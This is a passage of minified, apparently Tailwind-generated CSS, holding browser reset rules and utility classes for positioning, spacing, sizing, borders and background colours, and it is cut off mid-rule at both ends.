50%,transparent)}}}textarea{resize:vertical}::-webkit-search-decoration{-webkit-appearance:none}::-webkit-date-and-time-value{min-height:1lh;text-align:inherit}::-webkit-datetime-edit{display:inline-flex}::-webkit-datetime-edit-fields-wrapper{padding:0}::-webkit-datetime-edit{padding-block:0}::-webkit-datetime-edit-year-field{padding-block:0}::-webkit-datetime-edit-month-field{padding-block:0}::-webkit-datetime-edit-day-field{padding-block:0}::-webkit-datetime-edit-hour-field{padding-block:0}::-webkit-datetime-edit-minute-field{padding-block:0}::-webkit-datetime-edit-second-field{padding-block:0}::-webkit-datetime-edit-millisecond-field{padding-block:0}::-webkit-datetime-edit-meridiem-field{padding-block:0}::-webkit-calendar-picker-indicator{line-height:1}:-moz-ui-invalid{box-shadow:none}button,input:where([type=button],[type=reset],[type=submit]){-webkit-appearance:button;-moz-appearance:button;appearance:button}::file-selector-button{-webkit-appearance:button;-moz-appearance:button;appearance:button}::-webkit-inner-spin-button{height:auto}::-webkit-outer-spin-button{height:auto}[hidden]:where(:not([hidden=until-found])){display:none!important}}@layer components;@layer utilities{.pointer-events-none{pointer-events:none}.collapse{visibility:collapse}.invisible{visibility:hidden}.visible{visibility:visible}.sr-only{clip-path:inset(50%);white-space:nowrap;border-width:0;width:1px;height:1px;margin:-1px;padding:0;position:absolute;overflow:hidden}.not-sr-only{clip-path:none;white-space:normal;width:auto;height:auto;margin:0;padding:0;position:static;overflow:visible}.absolute{position:absolute}.fixed{position:fixed}.relative{position:relative}.static{position:static}.sticky{position:sticky}.inset-0{inset:calc(var(--spacing)*0)}.-top-2\.5{top:calc(var(--spacing)*-2.5)}.top-0{top:calc(var(--spacing)*0)}.top-1\/2{top:50%}.top-1\/4{top:25%}.top-4{top:calc(var(--spacing)*4)}.top-16{top:calc(var(--spacing)*16)}.top-\[50\%\]{top:50%}.top-full{top:100%}.right-0{right:calc(var(--spacing)*0)}.right-1{right:calc(var(--spacing)*1)}.right-1\/4{right:25%}.right-4{right:calc(var(--spacing)*4)}.bottom-1\/4{bottom:25%}.-left-2\.5{left:calc(var(--spacing)*-2.5)}.left-0{left:calc(var(--spacing)*0)}.left-1\/4{left:25%}.left-2{left:calc(var(--spacing)*2)}.left-3{left:calc(var(--spacing)*3)}.left-\[50\%\]{left:50%}.isolate{isolation:isolate}.isolation-auto{isolation:auto}.z-10{z-index:10}.z-50{z-index:50}.col-span-2{grid-column:span 2/span 2}.container{width:100%}@media(min-width:40rem){.container{max-width:40rem}}@media(min-width:48rem){.container{max-width:48rem}}@media(min-width:64rem){.container{max-width:64rem}}@media(min-width:80rem){.container{max-width:80rem}}@media(min-width:96rem){.container{max-width:96rem}}.-mx-2{margin-inline:calc(var(--spacing)*-2)}.-mx-8{margin-inline:calc(var(--spacing)*-8)}.mx-20{margin-inline:calc(var(--spacing)*20)}.mx-auto{margin-inline:auto}.-mt-6{margin-top:calc(var(--spacing)*-6)}.mt-0{margin-top:calc(var(--spacing)*0)}.mt-0\.5{margin-top:calc(var(--spacing)*.5)}.mt-1{margin-top:calc(var(--spacing)*1)}.mt-1\.5{margin-top:calc(var(--spacing)*1.5)}.mt-2{margin-top:calc(var(--spacing)*2)}.mt-3{margin-top:calc(var(--spacing)*3)}.mt-4{margin-top:calc(var(--spacing)*4)}.mt-6{margin-top:calc(var(--spacing)*6)}.mt-8{margin-top:calc(var(--spacing)*8)}.mr-1{margin-right:calc(var(--spacing)*1)}.mr-2{margin-right:calc(var(--spacing)*2)}.mr-3{margin-right:calc(var(--spacing)*3)}.mr-auto{margin-right:auto}.mb-1{margin-bottom:calc(var(--spacing)*1)}.mb-1\.5{margin-bottom:calc(var(--spacing)*1.5)}.mb-2{margin-bottom:calc(var(--spacing)*2)}.mb-3{margin-bottom:calc(var(--spacing)*3)}.mb-4{margin-bottom:calc(var(--spacing)*4)}.mb-5{margin-bottom:calc(var(--spacing)*5)}.mb-6{margin-bottom:calc(var(--spacing)*6)}.mb-8{margin-bottom:calc(var(--spacing)*8)}.ml-1{margin-left:calc(var(--spacing)*1)}.ml-2{margin-left:calc(var(--spacing)*2)}.ml-4{margin-left:calc(var(--spacing)*4)}.ml-6{margin-left:calc(var(--spacing)*6)}.ml-auto{margin-left:auto}.line-clamp-2{-webkit-line-clamp:2;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.line-clamp-3{-webkit-line-clamp:3;-webkit-box-orient:vertical;display:-webkit-box;overflow:hidden}.block{display:block}.contents{display:contents}.flex{display:flex}.flow-root{display:flow-root}.grid{display:grid}.hidden{display:none}.inline{display:inline}.inline\!{display:inline!important}.inline-block{display:inline-block}.inline-flex{display:inline-flex}.inline-grid{display:inline-grid}.inline-table{display:inline-table}.list-item{display:list-item}.table{display:table}.table\!{display:table!important}.table-caption{display:table-caption}.table-cell{display:table-cell}.table-column{display:table-column}.table-column-group{display:table-column-group}.table-footer-group{display:table-footer-group}.table-header-group{display:table-header-group}.table-row{display:table-row}.table-row-group{display:table-row-group}.size-4{width:calc(var(--spacing)*4);height:calc(var(--spacing)*4)}.size-8{width:calc(var(--spacing)*8);height:calc(var(--spacing)*8)}.size-9{width:calc(var(--spacing)*9);height:calc(var(--spacing)*9)}.size-10{width:calc(var(--spacing)*10);height:calc(var(--spacing)*10)}.h-0\.5{height:calc(var(--spacing)*.5)}.h-1\.5{height:calc(var(--spacing)*1.5)}.h-2{height:calc(var(--spacing)*2)}.h-3{height:calc(var(--spacing)*3)}.h-3\.5{height:calc(var(--spacing)*3.5)}.h-4{height:calc(var(--spacing)*4)}.h-5{height:calc(var(--spacing)*5)}.h-6{height:calc(var(--spacing)*6)}.h-7{height:calc(var(--spacing)*7)}.h-8{height:calc(var(--spacing)*8)}.h-9{height:calc(var(--spacing)*9)}.h-10{height:calc(var(--spacing)*10)}.h-12{height:calc(var(--spacing)*12)}.h-16{height:calc(var(--spacing)*16)}.h-20{height:calc(var(--spacing)*20)}.h-24{height:calc(var(--spacing)*24)}.h-96{height:calc(var(--spacing)*96)}.h-\[75vh\]{height:75vh}.h-auto{height:auto}.h-full{height:100%}.h-screen{height:100vh}.max-h-48{max-height:calc(var(--spacing)*48)}.max-h-96{max-height:calc(var(--spacing)*96)}.max-h-\[80vh\]{max-height:80vh}.max-h-\[85vh\]{max-height:85vh}.max-h-\[90vh\]{max-height:90vh}.max-h-\[250px\]{max-height:250px}.max-h-\[300px\]{max-height:300px}.max-h-\[400px\]{max-height:400px}.max-h-none{max-height:none}.min-h-0{min-height:calc(var(--spacing)*0)}.min-h-8{min-height:calc(var(--spacing)*8)}.min-h-\[32px\]{min-height:32px}.min-h-\[40px\]{min-height:40px}.min-h-\[60vh\]{min-height:60vh}.min-h-\[72px\]{min-height:72px}.min-h-\[80px\]{min-height:80px}.min-h-\[100px\]{min-height:100px}.min-h-\[120px\]{min-height:120px}.min-h-\[260px\]{min-height:260px}.min-h-\[400px\]{min-height:400px}.min-h-full{min-height:100%}.min-h-screen{min-height:100vh}.w-0\.5{width:calc(var(--spacing)*.5)}.w-2{width:calc(var(--spacing)*2)}.w-3{width:calc(var(--spacing)*3)}.w-3\.5{width:calc(var(--spacing)*3.5)}.w-4{width:calc(var(--spacing)*4)}.w-5{width:calc(var(--spacing)*5)}.w-6{width:calc(var(--spacing)*6)}.w-7{width:calc(var(--spacing)*7)}.w-8{width:calc(var(--spacing)*8)}.w-9{width:calc(var(--spacing)*9)}.w-10{width:calc(var(--spacing)*10)}.w-12{width:calc(var(--spacing)*12)}.w-16{width:calc(var(--spacing)*16)}.w-20{width:calc(var(--spacing)*20)}.w-24{width:calc(var(--spacing)*24)}.w-28{width:calc(var(--spacing)*28)}.w-32{width:calc(var(--spacing)*32)}.w-36{width:calc(var(--spacing)*36)}.w-40{width:calc(var(--spacing)*40)}.w-44{width:calc(var(--spacing)*44)}.w-48{width:calc(var(--spacing)*48)}.w-52{width:calc(var(--spacing)*52)}.w-56{width:calc(var(--spacing)*56)}.w-64{width:calc(var(--spacing)*64)}.w-96{width:calc(var(--spacing)*96)}.w-\[280px\]{width:280px}.w-fit{width:fit-content}.w-full{width:100%}.w-screen{width:100vw}.max-w-2xl{max-width:var(--container-2xl)}.max-w-3xl{max-width:var(--container-3xl)}.max-w-4xl{max-width:var(--container-4xl)}.max-w-\[96px\]{max-width:96px}.max-w-\[100px\]{max-width:100px}.max-w-\[120px\]{max-width:120px}.max-w-\[140px\]{max-width:140px}.max-w-\[180px\]{max-width:180px}.max-w-\[200px\]{max-width:200px}.max-w-\[250px\]{max-width:250px}.max-w-\[calc\(100\%-2rem\)\]{max-width:calc(100% - 2rem)}.max-w-lg{max-width:var(--container-lg)}.max-w-md{max-width:var(--container-md)}.max-w-none{max-width:none}.max-w-sm{max-width:var(--container-sm)}.max-w-xs{max-width:var(--container-xs)}.min-w-0{min-width:calc(var(--spacing)*0)}.min-w-48{min-width:calc(var(--spacing)*48)}.min-w-\[8rem\]{min-width:8rem}.min-w-\[60px\]{min-width:60px}.min-w-\[120px\]{min-width:120px}.min-w-\[1024px\]{min-width:1024px}.flex-1{flex:1}.flex-shrink-0{flex-shrink:0}.shrink{flex-shrink:1}.shrink-0{flex-shrink:0}.grow{flex-grow:1}.caption-bottom{caption-side:bottom}.border-collapse{border-collapse:collapse}.-translate-x-1\/2{--tw-translate-x: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-0{--tw-translate-x:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-x-1\/2{--tw-translate-x: 50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.-translate-y-1\/2{--tw-translate-y: -50% ;translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-y-0{--tw-translate-y:calc(var(--spacing)*0);translate:var(--tw-translate-x)var(--tw-translate-y)}.translate-none{translate:none}.scale-3d{scale:var(--tw-scale-x)var(--tw-scale-y)var(--tw-scale-z)}.scale-\[0\.98\]{scale:.98}.transform{transform:var(--tw-rotate-x,)var(--tw-rotate-y,)var(--tw-rotate-z,)var(--tw-skew-x,)var(--tw-skew-y,)}.animate-spin{animation:var(--animate-spin)}.cursor-default{cursor:default}.cursor-grab{cursor:grab}.cursor-pointer{cursor:pointer}.touch-pinch-zoom{--tw-pinch-zoom:pinch-zoom;touch-action:var(--tw-pan-x,)var(--tw-pan-y,)var(--tw-pinch-zoom,)}.touch-none{touch-action:none}.resize{resize:both}.resize-none{resize:none}.resize-y{resize:vertical}.list-inside{list-style-position:inside}.list-decimal{list-style-type:decimal}.list-disc{list-style-type:disc}.grid-cols-1{grid-template-columns:repeat(1,minmax(0,1fr))}.grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}.grid-cols-\[40px_40px_1fr_80px_80px_80px_60px\]{grid-template-columns:40px 40px 1fr 80px 80px 80px 60px}.flex-col{flex-direction:column}.flex-col-reverse{flex-direction:column-reverse}.flex-row{flex-direction:row}.flex-wrap{flex-wrap:wrap}.items-center{align-items:center}.items-end{align-items:flex-end}.items-start{align-items:flex-start}.justify-between{justify-content:space-between}.justify-center{justify-content:center}.justify-end{justify-content:flex-end}.gap-0{gap:calc(var(--spacing)*0)}.gap-0\.5{gap:calc(var(--spacing)*.5)}.gap-1{gap:calc(var(--spacing)*1)}.gap-1\.5{gap:calc(var(--spacing)*1.5)}.gap-2{gap:calc(var(--spacing)*2)}.gap-3{gap:calc(var(--spacing)*3)}.gap-4{gap:calc(var(--spacing)*4)}.gap-5{gap:calc(var(--spacing)*5)}.gap-6{gap:calc(var(--spacing)*6)}.gap-8{gap:calc(var(--spacing)*8)}:where(.space-y-0>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*0)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*0)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-1\.5>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*1.5)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*1.5)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-2>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*2)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*2)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-3>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*3)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*3)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-4>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*4)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*4)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-6>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*6)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*6)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-8>:not(:last-child)){--tw-space-y-reverse:0;margin-block-start:calc(calc(var(--spacing)*8)*var(--tw-space-y-reverse));margin-block-end:calc(calc(var(--spacing)*8)*calc(1 - var(--tw-space-y-reverse)))}:where(.space-y-reverse>:not(:last-child)){--tw-space-y-reverse:1}.gap-x-8{column-gap:calc(var(--spacing)*8)}:where(.space-x-reverse>:not(:last-child)){--tw-space-x-reverse:1}.gap-y-4{row-gap:calc(var(--spacing)*4)}:where(.divide-x>:not(:last-child)){--tw-divide-x-reverse:0;border-inline-style:var(--tw-border-style);border-inline-start-width:calc(1px*var(--tw-divide-x-reverse));border-inline-end-width:calc(1px*calc(1 - var(--tw-divide-x-reverse)))}:where(.divide-y>:not(:last-child)){--tw-divide-y-reverse:0;border-bottom-style:var(--tw-border-style);border-top-style:var(--tw-border-style);border-top-width:calc(1px*var(--tw-divide-y-reverse));border-bottom-width:calc(1px*calc(1 - var(--tw-divide-y-reverse)))}:where(.divide-y-reverse>:not(:last-child)){--tw-divide-y-reverse:1}:where(.divide-gray-700\/50>:not(:last-child)){border-color:#36415380}@supports (color:color-mix(in lab,red,red)){:where(.divide-gray-700\/50>:not(:last-child)){border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}:where(.divide-white\/5>:not(:last-child)){border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){:where(.divide-white\/5>:not(:last-child)){border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.truncate{text-overflow:ellipsis;white-space:nowrap;overflow:hidden}.overflow-auto{overflow:auto}.overflow-hidden{overflow:hidden}.overflow-x-auto{overflow-x:auto}.overflow-y-auto{overflow-y:auto}.rounded{border-radius:.25rem}.rounded-2xl{border-radius:var(--radius-2xl)}.rounded-full{border-radius:3.40282e38px}.rounded-lg{border-radius:var(--radius-lg)}.rounded-md{border-radius:var(--radius-md)}.rounded-none{border-radius:0}.rounded-sm{border-radius:var(--radius-sm)}.rounded-xl{border-radius:var(--radius-xl)}.rounded-s{border-start-start-radius:.25rem;border-end-start-radius:.25rem}.rounded-ss{border-start-start-radius:.25rem}.rounded-e{border-start-end-radius:.25rem;border-end-end-radius:.25rem}.rounded-se{border-start-end-radius:.25rem}.rounded-ee{border-end-end-radius:.25rem}.rounded-es{border-end-start-radius:.25rem}.rounded-t{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.rounded-l{border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-tl{border-top-left-radius:.25rem}.rounded-r{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.rounded-r-md{border-top-right-radius:var(--radius-md);border-bottom-right-radius:var(--radius-md)}.rounded-tr{border-top-right-radius:.25rem}.rounded-b{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.rounded-br{border-bottom-right-radius:.25rem}.rounded-bl{border-bottom-left-radius:.25rem}.border{border-style:var(--tw-border-style);border-width:1px}.border-0{border-style:var(--tw-border-style);border-width:0}.border-2{border-style:var(--tw-border-style);border-width:2px}.border-x{border-inline-style:var(--tw-border-style);border-inline-width:1px}.border-y{border-block-style:var(--tw-border-style);border-block-width:1px}.border-s{border-inline-start-style:var(--tw-border-style);border-inline-start-width:1px}.border-e{border-inline-end-style:var(--tw-border-style);border-inline-end-width:1px}.border-t{border-top-style:var(--tw-border-style);border-top-width:1px}.border-r{border-right-style:var(--tw-border-style);border-right-width:1px}.border-b{border-bottom-style:var(--tw-border-style);border-bottom-width:1px}.border-l{border-left-style:var(--tw-border-style);border-left-width:1px}.border-dashed{--tw-border-style:dashed;border-style:dashed}.border-\[\#07C160\]{border-color:#07c160}.border-\[\#07C160\]\/20{border-color:#07c16033}.border-\[\#07C160\]\/30{border-color:#07c1604d}.border-\[\#38bdac\]{border-color:#38bdac}.border-\[\#38bdac\]\/20{border-color:#38bdac33}.border-\[\#38bdac\]\/30{border-color:#38bdac4d}.border-\[\#38bdac\]\/40{border-color:#38bdac66}.border-\[\#38bdac\]\/50{border-color:#38bdac80}.border-amber-400\/60{border-color:#fcbb0099}@supports (color:color-mix(in lab,red,red)){.border-amber-400\/60{border-color:color-mix(in oklab,var(--color-amber-400)60%,transparent)}}.border-amber-500\/20{border-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/20{border-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.border-amber-500\/30{border-color:#f99c004d}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/30{border-color:color-mix(in oklab,var(--color-amber-500)30%,transparent)}}.border-amber-500\/40{border-color:#f99c0066}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/40{border-color:color-mix(in oklab,var(--color-amber-500)40%,transparent)}}.border-amber-500\/50{border-color:#f99c0080}@supports (color:color-mix(in lab,red,red)){.border-amber-500\/50{border-color:color-mix(in oklab,var(--color-amber-500)50%,transparent)}}.border-blue-500\/30{border-color:#3080ff4d}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/30{border-color:color-mix(in oklab,var(--color-blue-500)30%,transparent)}}.border-blue-500\/40{border-color:#3080ff66}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/40{border-color:color-mix(in oklab,var(--color-blue-500)40%,transparent)}}.border-blue-500\/50{border-color:#3080ff80}@supports (color:color-mix(in lab,red,red)){.border-blue-500\/50{border-color:color-mix(in oklab,var(--color-blue-500)50%,transparent)}}.border-cyan-500\/30{border-color:#00b7d74d}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/30{border-color:color-mix(in oklab,var(--color-cyan-500)30%,transparent)}}.border-cyan-500\/40{border-color:#00b7d766}@supports (color:color-mix(in lab,red,red)){.border-cyan-500\/40{border-color:color-mix(in oklab,var(--color-cyan-500)40%,transparent)}}.border-gray-500{border-color:var(--color-gray-500)}.border-gray-600{border-color:var(--color-gray-600)}.border-gray-700{border-color:var(--color-gray-700)}.border-gray-700\/30{border-color:#3641534d}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/30{border-color:color-mix(in oklab,var(--color-gray-700)30%,transparent)}}.border-gray-700\/40{border-color:#36415366}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/40{border-color:color-mix(in oklab,var(--color-gray-700)40%,transparent)}}.border-gray-700\/50{border-color:#36415380}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/50{border-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.border-gray-700\/60{border-color:#36415399}@supports (color:color-mix(in lab,red,red)){.border-gray-700\/60{border-color:color-mix(in oklab,var(--color-gray-700)60%,transparent)}}.border-green-500\/30{border-color:#00c7584d}@supports (color:color-mix(in lab,red,red)){.border-green-500\/30{border-color:color-mix(in oklab,var(--color-green-500)30%,transparent)}}.border-green-500\/40{border-color:#00c75866}@supports (color:color-mix(in lab,red,red)){.border-green-500\/40{border-color:color-mix(in oklab,var(--color-green-500)40%,transparent)}}.border-inherit{border-color:inherit}.border-orange-500\/20{border-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/20{border-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.border-orange-500\/30{border-color:#fe6e004d}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/30{border-color:color-mix(in oklab,var(--color-orange-500)30%,transparent)}}.border-orange-500\/40{border-color:#fe6e0066}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/40{border-color:color-mix(in oklab,var(--color-orange-500)40%,transparent)}}.border-orange-500\/50{border-color:#fe6e0080}@supports (color:color-mix(in lab,red,red)){.border-orange-500\/50{border-color:color-mix(in oklab,var(--color-orange-500)50%,transparent)}}.border-purple-500\/20{border-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/20{border-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.border-purple-500\/30{border-color:#ac4bff4d}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/30{border-color:color-mix(in oklab,var(--color-purple-500)30%,transparent)}}.border-purple-500\/40{border-color:#ac4bff66}@supports (color:color-mix(in lab,red,red)){.border-purple-500\/40{border-color:color-mix(in oklab,var(--color-purple-500)40%,transparent)}}.border-red-500{border-color:var(--color-red-500)}.border-red-500\/20{border-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.border-red-500\/20{border-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.border-red-500\/30{border-color:#fb2c364d}@supports (color:color-mix(in lab,red,red)){.border-red-500\/30{border-color:color-mix(in oklab,var(--color-red-500)30%,transparent)}}.border-red-500\/50{border-color:#fb2c3680}@supports (color:color-mix(in lab,red,red)){.border-red-500\/50{border-color:color-mix(in oklab,var(--color-red-500)50%,transparent)}}.border-red-600\/50{border-color:#e4001480}@supports (color:color-mix(in lab,red,red)){.border-red-600\/50{border-color:color-mix(in oklab,var(--color-red-600)50%,transparent)}}.border-transparent{border-color:#0000}.border-white\/5{border-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.border-white\/5{border-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.border-white\/10{border-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.border-white\/10{border-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.border-white\/20{border-color:#fff3}@supports (color:color-mix(in lab,red,red)){.border-white\/20{border-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.border-yellow-500\/30{border-color:#edb2004d}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/30{border-color:color-mix(in oklab,var(--color-yellow-500)30%,transparent)}}.border-yellow-500\/40{border-color:#edb20066}@supports (color:color-mix(in lab,red,red)){.border-yellow-500\/40{border-color:color-mix(in oklab,var(--color-yellow-500)40%,transparent)}}.bg-\[\#0a1628\]{background-color:#0a1628}.bg-\[\#0a1628\]\/50{background-color:#0a162880}.bg-\[\#0a1628\]\/60{background-color:#0a162899}.bg-\[\#0b1828\]{background-color:#0b1828}.bg-\[\#0f2137\]{background-color:#0f2137}.bg-\[\#00CED1\]{background-color:#00ced1}.bg-\[\#1C1C1E\]{background-color:#1c1c1e}.bg-\[\#07C160\]{background-color:#07c160}.bg-\[\#07C160\]\/5{background-color:#07c1600d}.bg-\[\#07C160\]\/10{background-color:#07c1601a}.bg-\[\#38bdac\]{background-color:#38bdac}.bg-\[\#38bdac\]\/5{background-color:#38bdac0d}.bg-\[\#38bdac\]\/10{background-color:#38bdac1a}.bg-\[\#38bdac\]\/15{background-color:#38bdac26}.bg-\[\#38bdac\]\/20{background-color:#38bdac33}.bg-\[\#38bdac\]\/30{background-color:#38bdac4d}.bg-\[\#38bdac\]\/60{background-color:#38bdac99}.bg-\[\#38bdac\]\/80{background-color:#38bdaccc}.bg-\[\#050c18\]{background-color:#050c18}.bg-\[\#162840\]{background-color:#162840}.bg-amber-500{background-color:var(--color-amber-500)}.bg-amber-500\/5{background-color:#f99c000d}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/5{background-color:color-mix(in oklab,var(--color-amber-500)5%,transparent)}}.bg-amber-500\/10{background-color:#f99c001a}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/10{background-color:color-mix(in oklab,var(--color-amber-500)10%,transparent)}}.bg-amber-500\/20{background-color:#f99c0033}@supports (color:color-mix(in lab,red,red)){.bg-amber-500\/20{background-color:color-mix(in oklab,var(--color-amber-500)20%,transparent)}}.bg-black{background-color:var(--color-black)}.bg-black\/30{background-color:#0000004d}@supports (color:color-mix(in lab,red,red)){.bg-black\/30{background-color:color-mix(in oklab,var(--color-black)30%,transparent)}}.bg-black\/50{background-color:#00000080}@supports (color:color-mix(in lab,red,red)){.bg-black\/50{background-color:color-mix(in oklab,var(--color-black)50%,transparent)}}.bg-black\/60{background-color:#0009}@supports (color:color-mix(in lab,red,red)){.bg-black\/60{background-color:color-mix(in oklab,var(--color-black)60%,transparent)}}.bg-black\/90{background-color:#000000e6}@supports (color:color-mix(in lab,red,red)){.bg-black\/90{background-color:color-mix(in oklab,var(--color-black)90%,transparent)}}.bg-blue-500\/5{background-color:#3080ff0d}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/5{background-color:color-mix(in oklab,var(--color-blue-500)5%,transparent)}}.bg-blue-500\/10{background-color:#3080ff1a}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/10{background-color:color-mix(in oklab,var(--color-blue-500)10%,transparent)}}.bg-blue-500\/20{background-color:#3080ff33}@supports (color:color-mix(in lab,red,red)){.bg-blue-500\/20{background-color:color-mix(in oklab,var(--color-blue-500)20%,transparent)}}.bg-cyan-500{background-color:var(--color-cyan-500)}.bg-cyan-500\/20{background-color:#00b7d733}@supports (color:color-mix(in lab,red,red)){.bg-cyan-500\/20{background-color:color-mix(in oklab,var(--color-cyan-500)20%,transparent)}}.bg-emerald-500\/20{background-color:#00bb7f33}@supports (color:color-mix(in lab,red,red)){.bg-emerald-500\/20{background-color:color-mix(in oklab,var(--color-emerald-500)20%,transparent)}}.bg-gray-500{background-color:var(--color-gray-500)}.bg-gray-500\/20{background-color:#6a728233}@supports (color:color-mix(in lab,red,red)){.bg-gray-500\/20{background-color:color-mix(in oklab,var(--color-gray-500)20%,transparent)}}.bg-gray-600{background-color:var(--color-gray-600)}.bg-gray-600\/20{background-color:#4a556533}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/20{background-color:color-mix(in oklab,var(--color-gray-600)20%,transparent)}}.bg-gray-600\/50{background-color:#4a556580}@supports (color:color-mix(in lab,red,red)){.bg-gray-600\/50{background-color:color-mix(in oklab,var(--color-gray-600)50%,transparent)}}.bg-gray-700{background-color:var(--color-gray-700)}.bg-gray-700\/50{background-color:#36415380}@supports (color:color-mix(in lab,red,red)){.bg-gray-700\/50{background-color:color-mix(in oklab,var(--color-gray-700)50%,transparent)}}.bg-green-500{background-color:var(--color-green-500)}.bg-green-500\/20{background-color:#00c75833}@supports (color:color-mix(in lab,red,red)){.bg-green-500\/20{background-color:color-mix(in oklab,var(--color-green-500)20%,transparent)}}.bg-green-600{background-color:var(--color-green-600)}.bg-orange-500{background-color:var(--color-orange-500)}.bg-orange-500\/10{background-color:#fe6e001a}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/10{background-color:color-mix(in oklab,var(--color-orange-500)10%,transparent)}}.bg-orange-500\/20{background-color:#fe6e0033}@supports (color:color-mix(in lab,red,red)){.bg-orange-500\/20{background-color:color-mix(in oklab,var(--color-orange-500)20%,transparent)}}.bg-purple-500\/20{background-color:#ac4bff33}@supports (color:color-mix(in lab,red,red)){.bg-purple-500\/20{background-color:color-mix(in oklab,var(--color-purple-500)20%,transparent)}}.bg-red-500\/10{background-color:#fb2c361a}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/10{background-color:color-mix(in oklab,var(--color-red-500)10%,transparent)}}.bg-red-500\/20{background-color:#fb2c3633}@supports (color:color-mix(in lab,red,red)){.bg-red-500\/20{background-color:color-mix(in oklab,var(--color-red-500)20%,transparent)}}.bg-red-600{background-color:var(--color-red-600)}.bg-red-900\/80{background-color:#82181acc}@supports (color:color-mix(in lab,red,red)){.bg-red-900\/80{background-color:color-mix(in oklab,var(--color-red-900)80%,transparent)}}.bg-transparent{background-color:#0000}.bg-white{background-color:var(--color-white)}.bg-white\/5{background-color:#ffffff0d}@supports (color:color-mix(in lab,red,red)){.bg-white\/5{background-color:color-mix(in oklab,var(--color-white)5%,transparent)}}.bg-white\/10{background-color:#ffffff1a}@supports (color:color-mix(in lab,red,red)){.bg-white\/10{background-color:color-mix(in oklab,var(--color-white)10%,transparent)}}.bg-white\/20{background-color:#fff3}@supports (color:color-mix(in lab,red,red)){.bg-white\/20{background-color:color-mix(in oklab,var(--color-white)20%,transparent)}}.bg-yellow-500\/20{background-color:#edb20033}@supports (color:color-mix(in lab,red,red)){.bg-yellow-500\/20{background-color:color-mix(in oklab,var(--color-yellow-500)20%,transparent)}}.bg-gradient-to-br{--tw-gradient-position:to bottom right in oklab;background-image:linear-gradient(var(--tw-gradient-stops))}.bg-gradient-to-r{--tw-gradient-position:to right in 